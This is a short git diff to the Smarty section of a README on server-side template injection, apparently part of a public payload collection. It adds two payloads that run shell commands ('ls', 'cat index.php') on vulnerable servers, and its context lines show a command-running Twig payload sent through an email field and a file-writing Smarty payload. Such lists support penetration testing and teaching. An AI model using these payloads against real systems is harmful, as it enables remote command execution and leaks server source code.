diff --git a/Server Side Template Injection/README.md b/Server Side Template Injection/README.md index 46a0dae..9d2247a 100644 --- a/Server Side Template Injection/README.md +++ b/Server Side Template Injection/README.md @@ -233,8 +233,10 @@ email="{{app.request.query.filter(0,0,1024,{'options':'system'})}}"@attacker.tld ```python {$smarty.version} -{php}echo `id`;{/php} +{php}echo `id`;{/php} //deprecated in smarty v3 {Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"",self::clearConfig())} +{system('ls')} // compatible v3 +{system('cat index.php')} // compatible v3 ``` ## Freemarker